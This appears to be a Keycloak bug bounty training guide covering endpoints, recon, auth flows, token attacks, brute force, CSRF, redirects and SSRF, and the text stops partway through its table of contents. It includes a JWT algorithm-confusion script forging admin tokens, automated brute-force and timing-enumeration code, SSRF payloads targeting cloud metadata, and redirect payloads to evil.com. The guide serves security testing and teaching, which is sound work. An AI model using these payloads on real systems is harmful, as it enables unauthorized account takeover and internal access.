keycloak security mastery lab
a hands-on bug bounty training guide for keycloak identity and access management. every section has theory, attack surface mapping, sources/sinks, practical exercises, and CVE references.
table of contents
- protocol foundations
- fingerprinting & recon
- authentication flow exploitation
- oauth 2.0 / oidc token attacks
- jwt algorithm confusion & token manipulation
- brute force & credential attacks
- csrf & session attacks
- open redirect & uri validation attacks
- ssrf via keycloak
- identity brokering attacks
- fine-grained authorization (uma) attacks
- user federation & ldap attacks
- admin console & api attacks
- client registration & policy bypass
- token exchange exploitation
- cookie & session management attacks
- password policy & enforcement bypass
- event system & information leakage
- clickjacking & browser security header bypass
- host header attacks
- theme & ui customization attacks
- cryptographic weaknesses
- side-channel & timing attacks
- session & token lifecycle attacks
- account takeover chains
- multi-tenancy & realm isolation
- supply chain & configuration drift
- advanced attack chains
- bug bounty reporting templates
- quick reference cheat sheet
protocol foundations
before we touch any keycloak instance, let me give you the mental model. keycloak is an identity broker that speaks a lot of protocols — OAuth 2.0, OIDC, SAML 2.0 — and each one of those is an attack surface. let’s start with the grant types, because that’s where the money is.
oauth 2.0 grant types in keycloak
keycloak implements these grant types at the token endpoint (/realms/{realm}/protocol/openid-connect/token):
| Grant Type | grant_type Value | Use Case | Security Notes |
|---|---|---|---|
| Authorization Code | authorization_code | Browser-based apps | Most secure; supports PKCE (S256). Default for admin/account consoles. |
| Client Credentials | client_credentials | Service-to-service, no user | No refresh token returned. Used for machine accounts. |
| Password (ROPC) | password | Legacy, first-party apps only | Exposes credentials directly. Should be disabled via client policies. |
| Refresh Token | refresh_token | Token renewal | Rotation can be enforced. Reuse detection prevents replay. |
| Device Authorization | urn:ietf:params:oauth:grant-type:device_code | Smart TV, CLI tools | User code displayed on device, approved on auth server. |
| Token Exchange | urn:ietf:params:oauth:grant-type:token-exchange | Delegation/impersonation | V2 (default): internal-to-internal only. V1 (legacy): includes external tokens. |
| JWT Bearer | urn:ietf:params:oauth:grant-type:jwt-bearer | SAML/OIDC bearer assertion | IdP-initiated SSO, identity assertions. |
| CIBA | urn:openid:params:grant-type:ciba | Browserless (ATM, IoT) | Push mode only. auth_req_id polling. |
| Pre-Authorized Code | pre-authorized_code | OID4VCI (verifiable credentials) | Experimental. Used with OID4VCI issuance. |
| UMA Ticket | uma-ticket | Authorization Services | Resource-server requests permission tickets. |
where things get interesting:
- source: token endpoint accepts
grant_typeparameter - sink: token issuance, session creation
- attack: test if ROPC can be enabled on clients where it shouldn’t be. test if token exchange can be abused for privilege escalation.
openid connect endpoints
keycloak exposes these OIDC endpoints per realm at /realms/{realm}/.well-known/openid-configuration:
| Endpoint | Path | Purpose |
|---|---|---|
| Authorization | /realms/{realm}/protocol/openid-connect/auth | Initiates OIDC flows (browser redirect) |
| Token | /realms/{realm}/protocol/openid-connect/token | Token issuance (code exchange, refresh, ROPC, client_credentials) |
| Token Introspection | /realms/{realm}/protocol/openid-connect/token/introspect | Token validation (requires client authentication) |
| Token Revocation | /realms/{realm}/protocol/openid-connect/revoke | Token revocation |
| UserInfo | /realms/{realm}/protocol/openid-connect/userinfo | Returns claims about the authenticated user |
| End Session | /realms/{realm}/protocol/openid-connect/logout | RP-initiated logout |
| JWK Set | /realms/{realm}/protocol/openid-connect/certs | Public keys for token verification |
| Registration | /realms/{realm}/clients-registrations/openid-connect | Dynamic client registration (RFC 7591) |
| Device Authorization | /realms/{realm}/protocol/openid-connect/auth/device | Device code flow |
| Backchannel Authentication | /realms/{realm}/protocol/openid-connect/ext/ciba/backchannel | CIBA flow |
| PAR | /realms/{realm}/protocol/openid-connect/ext/par/request | Pushed Authorization Requests |
| Pushed Logout | /realms/{realm}/protocol/openid-connect/logout/pushed | Back-channel logout initiation |
keycloak also throws in SAML endpoints:
- SAML Descriptor:
/realms/{realm}/protocol/saml/descriptor - SAML Login/Logout/Assertion Consumer:
/realms/{realm}/protocol/saml
what to look for:
.well-known/openid-configurationdumps everything — all supported grant types, scopes, claim types, code challenge methods, client authentication methods. this is a passive recon goldmine, don’t sleep on it.- every endpoint is a potential injection point for malformed tokens, parameter pollution, and flow confusion attacks.
saml 2.0 support
keycloak handles full SAML 2.0 as both IdP and SP:
| Binding | Attack Vector |
|---|---|
| HTTP-POST | XML Signature Wrapping, assertion injection |
| HTTP-Redirect | Query parameter injection, signature stripping |
| HTTP-Artifact | Artifact resolution poisoning |
where things break:
- source: SAML POST binding receives XML in form body
- sink: assertion processing, user login
- attack: XML Signature Wrapping (XSW) if the SAML parser doesn’t validate assertion references properly. check for assertion replay if not checking
NotOnOrAfter.
keycloak session architecture
keycloak maintains three session types:
- SSO Session (Browser Session): Created on first authentication. Stored in Keycloak DB/cache. Tied to browser via
KEYCLOAK_IDENTITYandKEYCLOAK_SESSIONcookies. - Client Session: Per-client session within the SSO session. Stores tokens and session state.
- Authentication Session: Temporary session during login flow. Destroyed after authentication completes. Used by
SessionCodeChecksto bindsession_codeandexecutionparameters.
the session lifecycle:
Browser → Authorization Endpoint → Authentication Session created → Login Actions Service (authenticate/register/reset-credentials) → Session Code Checks validate session_code + execution → On success: SSO Session created → ID Token + Access Token + Refresh Token issued → Browser stores KEYCLOAK_IDENTITY (FEDERATION scope) and KEYCLOAK_SESSION (FEDERATION_JS scope) → Subsequent requests authenticate via cookie → TokenVerifier validates signaturefingerprinting & recon
so you found a keycloak instance. now what? let’s figure out what we’re dealing with.
am i talking to keycloak?
lab: identify keycloak by cookie names
after authenticating, inspect response headers for:
Set-Cookie: KEYCLOAK_IDENTITY=...; path=/auth/realms/...Set-Cookie: KEYCLOAK_SESSION=...; path=/auth/realms/...Set-Cookie: KEYCLOAK_REMEMBER_ME=... (if remember-me is enabled)the KEYCLOAK_IDENTITY cookie is a JWT with iss, sub, aud, exp, iat, session_state claims.
lab: identify keycloak by url patterns
keycloak has a very specific URL fingerprint:
/auth/realms/{realm}/auth/realms/{realm}/.well-known/openid-configuration/auth/realms/{realm}/protocol/openid-connect/auth/auth/realms/{realm}/protocol/saml/descriptor/auth/admin//auth/realms/master/protocol/openid-connect/auth (admin console)/auth/realms/{realm}/account (account console)/auth/realms/{realm}/login-actions/registration/auth/realms/{realm}/login-actions/reset-credentialslab: identify keycloak by jwt content
decode any JWT from the target. look for:
{ "resource_access": {"client-name": {"roles": [...]}} // Keycloak-specific claim "scope": "openid email profile", // OIDC scope claim "iss": "https://target.com/auth/realms/master" // Realm in issuer}lab: identify keycloak by page source
search HTML source for:
<meta name="keycloak-version" content="..." /><script src=".../auth/resources/..."/><link href=".../auth/resources/..."/>version identification
lab: version via admin api (authenticated)
# Requires valid admin JWT tokencurl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/serverinfo | jq '.systemInfo.version'why this matters: different versions have different CVEs. cross-reference against:
- https://repology.org/project/keycloak/cves
- https://www.cvedetails.com/version-list/16498/37999/1/Keycloak-Keycloak.html
lab: version fingerprinting via endpoint behavior
newer versions support features older ones don’t. test for:
- DPoP support (added in 18+)
- Pushed Authorization Requests (added in 18+)
- CIBA push mode (added in 19+)
- OID4VCI (experimental in 25+)
- Passkeys Conditional UI (added in 22+, deprecated 26.3)
- Verifiable Credentials (added in 26+)
realm enumeration
lab: enumerate realms via http
# Valid realm returns 200 with realm JSONcurl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/master # 200curl -s -o /dev/null -w "%{http_code}" https://target.com/auth/realms/nonexistent # 404
# Wordlist-based enumeration with Burp Intruder# Use common realm names: master, admin, company, sso, production, dev, staging, demosource/sink:
- source: HTTP response status codes and content-length
- sink: valid realm names used to construct further attacks
- vulnerability: realm names may leak organizational structure
client id enumeration
lab: enumerate client ids
the authorization endpoint reveals client_ids through different response lengths:
# Valid client_id produces a login form (larger response)# Invalid client_id produces an error page (smaller response)
# Standard authorization requestcurl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\client_id=TARGET_CLIENT&\redirect_uri=https://app.example.com/callback&\response_type=code&\scope=openid&\state=RANDOM"
# Compare response lengths. Valid clients return ~2451 bytes (login page)# Invalid clients return different sizes (error page)default client ids to test:
| Client ID | Purpose |
|---|---|
account | User account management |
account-console | Account web console |
admin-cli | Admin CLI |
admin-console | Admin web console |
broker | Identity brokering |
master-realm | Master realm admin |
security-admin-console | Security admin console |
toleration | Internal |
lab: client access types
each client has an access type:
- Public: No secret needed. Can initiate login. (e.g.,
account-console) - Confidential: Has a
client_secret. Can initiate login. Used for server-side apps. - Bearer-Only: No secret needed for token validation. Cannot initiate login. Used for APIs.
attack: if you find a client_secret leaked in source code, JS files, or .env files, you can:
- Exchange authorization codes for tokens
- Use client_credentials grant to get service account tokens
- Perform token exchange
scope enumeration
lab: enumerate scopes
# Add scopes to the authorization request and check for changes in the consent screencurl "https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\client_id=account-console&\redirect_uri=https://target.com/auth/realms/{realm}/account/\&response_type=code&\scope=openid+profile+email+address+phone+offline_access+uma_authorization+microprofile-jwt&\state=RANDOM"default scopes in keycloak:
| Scope | Claims |
|---|---|
openid | sub |
profile | name, family_name, given_name, middle_name, nickname, preferred_username, profile, picture, website, gender, birthdate, zoneinfo, locale, updated_at |
email | email, email_verified |
address | address |
phone | phone_number, phone_number_verified |
offline_access | Offline refresh tokens |
uma_authorization | UMA permission tickets |
web-origins | Allowed CORS origins |
role_list | Role mappings |
microprofile-jwt | Groups claim |
attack: concatenating scopes forces keycloak to grant additional claims:
scope=openid+email+phone+profile+offline_accessthis reveals user email, phone, profile data, and issues long-lived offline tokens if the user has the role.
identity provider enumeration
lab: enumerate configured idps
# Enumerate IDP aliasescurl -s https://target.com/auth/realms/{realm}/broker/{idp_alias}/endpoint | head -1# Returns 302 to the IdP login page if configured# Returns 404 if not configureddefault idp aliases to test:
| Alias | Provider |
|---|---|
github | GitHub |
google | |
facebook | |
twitter | |
microsoft | Microsoft/Azure AD |
linkedin | |
gitlab | GitLab |
instagram | |
bitbucket | Bitbucket |
stackoverflow | Stack Overflow |
paypal | PayPal |
openshift | OpenShift |
attack: idp enumeration reveals the target’s technology stack and potential SSO trust relationships. a misconfigured idp can be exploited for account takeover via the first-broker-login flow.
service discovery
lab: port scanning
default keycloak ports (WildFly distribution):
| Port | Protocol | Purpose |
|---|---|---|
| 8080 | HTTP | Main application (default) |
| 8443 | HTTPS | Main application with TLS |
| 9990 | HTTP | Management console (WildFly) |
| 9993 | HTTPS | Management console (TLS) |
| 7600 | TCP | Infinispan/JDG |
| 45700 | TCP | JGroups |
lab: admin console exposure
https://target.com/auth/admin/if this is accessible without VPN/IP restriction, that’s a high-severity finding. the admin console gives full control over all realms, users, clients, and configurations.
authentication flow exploitation
keycloak’s auth flows are directed acyclic graphs (DAGs) of executions. sounds fancy but it’s really just a decision tree with some quirks.
flow architecture
keycloak authentication flows look like this:
Flow: Browser Flow (realm default)├── Cookie (Alternative) - Checks KEYCLOAK_IDENTITY cookie for SSO├── Kerberos (Alternative) - SPNEGO authentication├── Identity Provider Redirector (Alternative) - Redirects to external IDP└── Forms (Required, sub-flow) ├── Username Password Form (Alternative) └── Browser Conditional 2FA (Conditional sub-flow) ├── OTP Form (Alternative) ├── WebAuthn (Alternative) ├── WebAuthn Passwordless (Alternative) └── Recovery Codes (Alternative)requirement types:
- Required: ALL must succeed. Cannot be skipped.
- Alternative: First to succeed is sufficient. Others tried if one fails.
- Disabled: Not executed.
- Conditional: Boolean condition gates execution of a sub-flow.
flow bypass via alternative execution logic
lab: understanding alternative execution
the DefaultAuthenticationFlow processes alternative executions as follows:
- Process first alternative. If it returns a challenge (form), return it to user.
- If it returns failure, mark as
ATTEMPTEDand try the next alternative. - If all alternatives fail, the flow fails.
attack: if an admin adds a strong 2FA method (WebAuthn) as an Alternative alongside OTP, and the user doesn’t have WebAuthn configured, the flow falls through to OTP. check if any weak alternative exists that can be exploited.
lab: conditional sub-flow bypass
conditional sub-flows use these conditions:
ConditionalUserAttributeValue- User attribute checkConditionalUserConfiguredAuthenticator- Credential checkConditionalRoleAuthenticator- Role checkConditionalClientScopeAuthenticator- Client scope checkConditionalLoaAuthenticator- Level of assurance (ACR) checkConditionalSubFlowExecutedAuthenticator- Prior sub-flow execution check
attack: if a conditional sub-flow uses ConditionalRoleAuthenticator and the user can manipulate their role (e.g., via a separate vulnerability), they can bypass the condition.
registration flow exploitation
lab: self-registration testing
https://target.com/auth/realms/{realm}/login-actions/registration?\client_id={realm}&\tab_id={session_code}attack vectors:
- Hidden registration: Even if the UI hides the registration link, the endpoint may still work.
- Email verification bypass: If email verification is disabled, create accounts with arbitrary emails.
- Mass registration: If no CAPTCHA/rate-limit, automate account creation.
- Required actions abuse: After registration, force required actions (e.g., password change, email verification) to create denial-of-service.
lab: registration form injection
the registration form uses FreeMarker templates. if the theme allows custom templates:
/home/hxuu/personal/keycloak/themes/{theme-name}/login/register.ftlattack: SSTI (Server-Side Template Injection) via FreeMarker if user input reaches template rendering without sanitization. FreeMarker supports ${...} expressions that can access Java objects.
reset credentials flow
lab: reset flow session handling
the reset credentials flow uses fork() to create a new browser flow:
- User submits email on reset form
ResetCredentialEmailaction token is generated with lifespan- Email link leads to
/login-actions/reset-credentialswithkeyparameter - New browser flow created via
fork() - User sets new password
attack vectors:
- Session fixation via fork: the
fork()mechanism clones the authentication session. if the session ID is predictable or the fork doesn’t properly bind to the original session, session fixation may be possible. - Action token abuse: action tokens have configurable lifespans. if long-lived (default 12 hours for admin-generated), they can be replayed.
- Email enumeration: different error messages for existing vs. non-existing emails.
lab: email enumeration via reset
# Existing email: different response than non-existingcurl -s -o /dev/null -w "%{http_code}\n%{size_download}" \ -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \ -d "username=existing@example.com&execution=..."
curl -s -o /dev/null -w "%{http_code}\n%{size_download}" \ -X POST "https://target.com/auth/realms/{realm}/login-actions/reset-credentials" \ -d "username=nonexistent@example.com&execution=..."first broker login flow
lab: broker flow execution
the first broker login flow runs when a user logs in via an external IdP for the first time:
IdpDetectExistingBrokerUser- Check if user existsIdpCreateUserIfUnique- Create new user if uniqueIdpReviewProfile- Show profile review formIdpEmailVerification- Verify emailIdpConfirmLink/IdpAutoLink- Link accountsIdpUsernamePasswordForm- Link to existing account
attack vectors:
- Auto-linking bypass: if
IdpAutoLinkis configured, any IdP identity auto-links without user confirmation. - Account takeover via IdP: if the first-broker-login flow doesn’t verify email ownership, an attacker can register an IdP account with a victim’s email and have it auto-linked.
- Flow confusion: if the flow allows both “create new user” and “link to existing” simultaneously, an attacker may race to create an account.
direct access grant (ropc) flow
lab: ropc token issuance
# ROPC flow - sends credentials directlycurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=password&\ client_id={client_id}&\ username={username}&\ password={password}&\ scope=openid"
# With client_secretcurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=password&\ client_id={client_id}&\ client_secret={secret}&\ username={username}&\ password={password}"attack vectors:
- ROPC should be disabled: if a client allows ROPC, it bypasses browser-based security controls (CSRF tokens, CAPTCHA, conditional UI).
- MFA bypass: ROPC uses its own flow (
Direct Access Grant Flow) which may not include MFA steps configured in the Browser flow. - Rate limiting bypass: ROPC doesn’t have the same CSRF protections as browser flows.
oauth 2.0 / oidc token attacks
this is where things get fun. tokens are the keys to the kingdom, and keycloak gives you a lot of them.
authorization code interception
lab: authorization code replay
# 1. Intercept the authorization code from the redirectGET https://app.example.com/callback?code=AUTH_CODE&state=STATE
# 2. Exchange it (valid for only 60 seconds by default - DEFAULT_ACCESS_CODE_LIFESPAN)curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=authorization_code&\ code={AUTH_CODE}&\ redirect_uri=https://app.example.com/callback&\ client_id={client_id}"
# 3. If PKCE is not enforced, try with a different redirect_urikey settings:
- Default authorization code lifespan: 60 seconds (
DEFAULT_ACCESS_CODE_LIFESPAN) - Authorization code is one-time use
- PKCE (S256) should be enforced for public clients
lab: pkce bypass testing
# If PKCE is required (S256), the code_verifier must match the code_challenge# 1. Generate code_verifierCODE_VERIFIER=$(openssl rand -base64 32 | tr -d '=+/' | head -c 43)
# 2. Generate code_challengeCODE_CHALLENGE=$(echo -n "$CODE_VERIFIER" | openssl dgst -sha256 -binary | base64 | tr -d '=+/')
# 3. Include in auth request# ...&code_challenge=$CODE_CHALLENGE&code_challenge_method=S256
# 4. Include code_verifier in token request# ...&code_verifier=$CODE_VERIFIER
# If PKCE is NOT enforced, try the plain method:# ...&code_challenge=$CODE_VERIFIER&code_challenge_method=plainrefresh token abuse
lab: refresh token rotation testing
# Use refresh token to get new tokenscurl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token" \ -d "grant_type=refresh_token&\ refresh_token={REFRESH_TOKEN}&\ client_id={client_id}"
# If rotation is enabled, the old refresh token is invalidated# If rotation is NOT enabled, the same refresh token can be reusedkeycloak refresh token behavior:
Refresh Token Grant Typevalidates: session validity, user enabled, client matchvalidateTokenReuse()prevents replay by trackingrefreshTokenIdanduseCountverifyConfirmationBinding()checks mTLS HoK or DPoP binding if configured- Offline refresh tokens (
offline_accessscope) never expire and persist across sessions
attack:
- Refresh token theft: if refresh tokens are not bound to holder-of-key, stolen tokens provide persistent access.
- Offline token abuse: if
offline_accessscope is available to regular users, they get long-lived tokens that survive session logout. - Refresh token replay without rotation: if refresh token rotation is suppressed, stolen tokens provide indefinite access.
token introspection abuse
lab: token introspection
# Requires client authentication (confidential client)curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/token/introspect" \ -u "{client_id}:{client_secret}" \ -d "token={ACCESS_TOKEN}"
# Response reveals: active, sub, client_id, scope, exp, iat, ...attack: if you compromise a client_secret, introspect any token to learn about other users’ sessions. that’s a nice little privilege escalation right there.
token revocation
lab: token revocation testing
# Revoke a refresh token (also revokes associated access token)curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \ -u "{client_id}:{client_secret}" \ -d "token={REFRESH_TOKEN}&token_type_hint=refresh_token"
# Revoke only the access token (refresh token may still work)curl -X POST "https://target.com/auth/realms/{realm}/protocol/openid-connect/revoke" \ -u "{client_id}:{client_secret}" \ -d "token={ACCESS_TOKEN}&token_type_hint=access_token"jwt algorithm confusion & token manipulation
this is the section where we talk about forging tokens. if you’ve ever wanted to feel like a movie hacker, this is your moment.
supported algorithms
keycloak supports these signing algorithms for realm/client keys:
| Algorithm | Type | Security |
|---|---|---|
| RS256, RS384, RS512 | RSA PKCS#1 v1.5 | Default is RS256. RS512 is stronger. |
| PS256, PS384, PS512 | RSA PSS | Strongest RSA variant. |
| ES256, ES384, ES512 | ECDSA | Compact signatures. ES512 is strongest. |
| HS256, HS384, HS512 | HMAC | Secret-based. Used for INTERNAL tokens only. |
default: RS256 for external tokens, HS512 for internal tokens.
algorithm confusion attack (rs256 → hs256)
lab: algorithm confusion test
import jwtimport requests
# 1. Fetch the public RSA keyjwks = requests.get("https://target.com/auth/realms/{realm}/protocol/openid-connect/certs").json()rsa_key = jwt.algorithms.RSAAlgorithm.from_jwk(jwks['keys'][0])
# 2. Sign a token with HS256 using the RSA public key as the HMAC secret# This works because some libraries treat "alg": "HS256" as HMAC with the provided keypayload = { "sub": "admin", "realm_access": {"roles": ["admin"]}, "exp": 9999999999}
# Use the RSA public key bytes as HMAC secretpub_key_bytes = rsa_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
forged_token = jwt.encode(payload, pub_key_bytes, algorithm="HS256")print(forged_token)
# 3. Test if the server accepts itresponse = requests.get( "https://target.com/auth/realms/{realm}/protocol/openid-connect/userinfo", headers={"Authorization": f"Bearer {forged_token}"})print(response.status_code, response.json())mitigation: keycloak does validate the kid header against registered keys, and uses the key’s algorithm for verification. however, older versions or custom configurations may be vulnerable. always worth checking.
internal token signing (hs512)
keycloak uses INTERNAL_SIGNATURE_ALGORITHM = HS512 for internal tokens:
- Session tokens stored in cookies
- State checker tokens
- Action tokens
- Internal authentication cookies
attack: if the internal signing secret is compromised (e.g., via SSRF, deserialization, or config leak), all internal tokens can be forged. that’s game over, basically.
token claim manipulation
lab: jwt claim injection
after obtaining a valid token, decode and inspect:
# Decode without verificationecho "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
# Look for:# - realm_access.roles (Keycloak-specific)# - resource_access.{client}.roles (client-specific roles)# - scope (granted scopes)# - acr (authentication context class reference)# - email_verified# - groups (if configured)# - session_state# - iss (issuer - realm URL)# - aud (audience)key claims to tamper with:
| Claim | Attack |
|---|---|
sub | Change subject to another user |
email | Change email claim |
acr | Downgrade authentication level |
scope | Add scopes not originally granted |
realm_access.roles | Add admin roles |
aud | Change audience to target another service |
exp | Extend token lifetime |
nbf | Backdate token |
brute force & credential attacks
sometimes the simplest attack is the best attack. keycloak has brute force protection, but is it actually turned on?
brute force protection analysis
lab: check if brute force protection is enabled
# Admin API check (requires admin token)curl -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm} | jq '.bruteForceProtected'
# Default: false (DISABLED)# Default failure factor: 30# Default max failure wait: 900 seconds (15 minutes)# Default wait increment: 60 seconds# Default max delta time: 12 hours (43200 seconds)three brute force modes:
- Lockout permanently: Account disabled until admin re-enables
- Lockout temporarily: Account disabled for increasing durations
- Lockout temporarily then permanently: Mixed mode
attack: if brute force protection is disabled (default), perform unlimited login attempts. yes, really. it’s off by default.
brute force bypass techniques
lab: csrf token extraction for automated brute force
import requestsimport re
# 1. Load login page to get session_code (CSRF token)login_page = requests.get(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/auth?\client_id={client_id}&\redirect_uri={redirect_uri}&\response_type=code&\scope=openid&\state=RANDOM")
# Extract session_code from hidden form fieldsession_code = re.search(r'name="session_code"\s+value="([^"]+)"', login_page.text).group(1)execution = re.search(r'name="execution"\s+value="([^"]+)"', login_page.text).group(1)
# 2. Submit login with extracted session_codelogin_response = requests.post( f"https://target.com/auth/realms/{realm}/login-actions/authenticate?\execution={execution}&\session_code={session_code}&\tab_id=TAB_ID", data={ "username": "target_user", "password": "attempt_password", "session_code": session_code, "execution": execution, "tab_id": "TAB_ID" }, allow_redirects=False)
# 3. Check for 302 redirect (success) vs 200 (failure)print(f"Status: {login_response.status_code}")print(f"Location: {login_response.headers.get('Location', 'No redirect')}")lab: quick login detection bypass
the brute force protector has a “quick login check”:
// If login attempt happens within `quickLoginCheckMilliSeconds` (default 1000ms)// of last failure, enforce `minimumQuickLoginWaitSeconds` (default 60s)attack: space login attempts more than 1 second apart to avoid quick login detection. or use the Quick Login Check Milliseconds to find the timing window. tiny window, but exploitable.
credential stuffing against ldap-backed users
lab: ldap user enumeration via login response
when keycloak uses LDAP federation, authentication errors may differ:
- Local user with wrong password: Standard error
- LDAP user with wrong password: May take longer (network latency to LDAP)
- Non-existent user: Different timing
import time
users = ["admin", "user1", "user2", "test"]for user in users: start = time.time() # Login attempt requests.post(f"https://target.com/auth/realms/{realm}/protocol/openid-connect/token", data={ "grant_type": "password", "username": user, "password": "wrong", "client_id": client_id }) elapsed = time.time() - start print(f"{user}: {elapsed:.3f}s")csrf & session attacks
keycloak has multiple CSRF protection layers. let’s see which ones we can trip over.
csrf protection mechanisms
keycloak implements multiple CSRF layers:
| Mechanism | Cookie/Token | Scope |
|---|---|---|
| Login actions CSRF | KC_STATE_CHECKER | Protects /login-actions/* endpoints |
| Welcome page CSRF | WELCOME_STATE_CHECKER | Protects initial admin creation |
| Account console | State cookie in hidden field | Protects account console actions |
| SecureSessionEnforce | Requires nonce/state | Client-side OIDC/OAuth CSRF |
detachedinfostatechecker bypass
lab: understanding state checker flow
# 1. The state_checker is a JWT stored in AUTH_DETACHED cookie# 2. On login actions, a kc_state_checker parameter is required# 3. The parameter is compared against currentUrlState or renderedUrlState
# Extract AUTH_DETACHED cookieauth_detached = session.cookies.get("AUTH_DETACHED")
# Decode it (it's a JWT)import base64, jsonpayload = auth_detached.split('.')[1]# Pad for base64payload += "=" * (4 - len(payload) % 4)decoded = json.loads(base64.urlsafe_b64decode(payload))print(decoded) # Contains kc_state_checker, currentUrlState, renderedUrlStateattack: if the AUTH_DETACHED cookie has SameSite=Strict but the request originates from a different tab/window, the cookie won’t be sent. however, if the attacker can set cookies (e.g., via XSS), they can inject a forged state_checker.
session fixation
lab: session id rotation on authentication
# 1. Note the authentication session ID before loginauth_session_before = session.cookies.get("AUTH_SESSION_ID")
# 2. Complete login# ... login flow ...
# 3. Check if the session ID changedauth_session_after = session.cookies.get("AUTH_SESSION_ID")
# If the session ID didn't change, this is session fixationkeycloak’s SessionCodeChecks binds session_code and execution parameters, but the AUTH_SESSION_ID cookie itself may persist across authentication if not explicitly invalidated.
tab-session isolation
lab: multiple tab session sharing
# Keycloak tracks sessions per "tab" (browser tab)# Each tab gets its own client_session_state# The KEYCLOAK_SESSION cookie contains: {realm}/{session_id}/{client_id}/{tab_id}
# Test: Can a session from one tab be used in another?# 1. Open login in Tab 1, get session cookies# 2. Use those cookies in Tab 2# 3. If session is shared, there may be no tab isolation
# The KEYCLOAK_SESSION cookie format:# master/a1b2c3d4-e5f6-7890-abcd-ef1234567890/account-console/12345# realm / session_id / client_id / tab_idopen redirect & uri validation attacks
redirects are a classic web vuln. keycloak has some interesting twist on them.
redirect uri validation
lab: wildcard redirect uri testing
# Check what redirect URIs are registered for a client# Via OIDC discovery (if client is public)curl https://target.com/auth/realms/{realm}/.well-known/openid-configuration | jq '.redirect_uris_supported'
# Common wildcard patterns:# /admin/{realm}/console/* (admin console - internal)# /account/{realm}/* (account console - internal)# https://*.example.com/* (wildcard subdomain)# https://app.example.com/* (wildcard path)attack: open redirect via wildcard
# If a client has redirect_uri = https://*.example.com/*# Try: https://evil.example.com/callback# Or: https://example.com@evil.com/callback (URL confusion)# Or: https://example.com%0d%0a%0d%0aLocation:%20http://evil.com (CRLF injection)redirect uri bypass techniques
lab: fragment-based bypass
# If redirect_uri = https://app.example.com/callback# Try: https://app.example.com/callback#https://evil.com# Some parsers only check the path before the fragmentlab: subdomain takeover via redirect
# If redirect_uri = https://*.example.com/*# And a subdomain (e.g., old.example.com) has expired DNS# Register old.example.com, set up server to capture callback# The authorization code will be sent to your serverlab: url parsing confusion
# Different parsers handle URLs differently:import urllib.parsefrom urllib.parse import urlparse
urls = [ "https://app.example.com/callback@evil.com", "https://app.example.com%40evil.com/callback", "https://app.example.com/callback/../evil/callback", "https://app.example.com:443@evil.com/callback",]
for url in urls: parsed = urlparse(url) print(f"URL: {url}") print(f" hostname: {parsed.hostname}") print(f" path: {parsed.path}") print()post-logout redirect manipulation
lab: post-logout redirect abuse
# Post-logout redirect can be abused if not properly validatedcurl "https://target.com/auth/realms/{realm}/protocol/openid-connect/logout?\post_logout_redirect_uri=https://evil.com&\id_token_hint={ID_TOKEN}"mitigation: keycloak validates post_logout_redirect_uri against the client’s registered post-logout redirect URIs (or redirect URIs if INCLUDE_REDIRECTS is used).
ssrf via keycloak
keycloak makes a lot of server-side requests. every single one of those is a potential SSRF vector.
ssrf attack surfaces
keycloak makes server-side requests in these scenarios:
| Feature | Endpoint/Field | SSRF Vector |
|---|---|---|
| JWKS URI | Client jwksUri setting | Keycloak fetches signing keys from this URL |
| Identity Provider | OIDC/SAML IdP endpoints | Keycloak redirects to IdP URLs |
| Social Login | OAuth2 provider endpoints | Token/userinfo exchange requests |
| User Federation | LDAP bind/search | Server makes LDAP connections |
| Admin Events | Admin event storage | May include URLs in event data |
| Email SMTP | Mail server configuration | SMTP server URL |
| Themes | Remote theme resources | Fetching custom themes |
| OIDC Discovery | IdP metadata URLs | Fetching OpenID Provider configuration |
| CIBA | Authentication Channel | HTTP callback to client |
ssrf via jwks uri
lab: jwks uri ssrf
# 1. Create a client with JWKS URI pointing to internal servicecurl -X POST "https://target.com/auth/admin/realms/{realm}/clients" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clientId": "ssrf-test", "publicClient": true, "protocol": "openid-connect", "attributes": { "publicKeySignatureUrl": "http://169.254.169.254/latest/meta-data/" } }'
# 2. Trigger a token request that uses the JWKS URI# 3. Check if Keycloak made a request to the metadata endpointmitigation: use Client Policies with Secure Client URIs Pattern executor to validate JWKS URIs against allowlist patterns.
ssrf via identity provider configuration
lab: idp ssrf
# Configure an OIDC IdP with internal endpointscurl -X POST "https://target.com/auth/admin/realms/{realm}/identity-providers" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -d '{ "alias": "ssrf-idp", "providerId": "oidc", "config": { "authorizationUrl": "http://169.254.169.254/latest/meta-data/", "tokenUrl": "http://169.254.169.254/latest/meta-data/", "clientId": "test", "clientSecret": "test" } }'
# Try to login via this IdPcurl "https://target.com/auth/realms/{realm}/broker/ssrf-idp/endpoint"dns rebinding
lab: dns rebinding attack
# 1. Register a domain that first resolves to a safe IP# 2. Keycloak validates the JWKS URI against the safe IP# 3. After validation, rebind the domain to an internal IP# 4. Keycloak makes the actual request to the internal IP
# Use a DNS server that returns:# First query: 1.2.3.4 (safe)# Second query: 169.254.169.254 (cloud metadata)
# This bypasses URI-based allowlist validationmitigation: configure the DNS resolver to reject public domain names resolving to non-public IPs.
identity brokering attacks
identity brokering is keycloak’s way of saying “i trust this other auth provider.” and sometimes, that trust is misplaced.
account takeover via idp
lab: first broker login auto-linking
# 1. Find a realm with an OIDC IdP configuredcurl -s -H "Authorization: Bearer $ADMIN_TOKEN" \ https://target.com/auth/admin/realms/{realm}/identity-providers | jq '.[].alias'
